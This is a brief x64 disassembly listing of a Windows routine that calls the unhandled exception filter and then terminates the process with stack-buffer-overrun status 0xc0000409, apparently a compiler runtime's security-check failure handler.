mov dword [0x140012118], eax
mov ecx, 1
call fcn.140006f48
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012118], 0
jne 0x14000750e
mov ecx, 1
call fcn.140006f48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret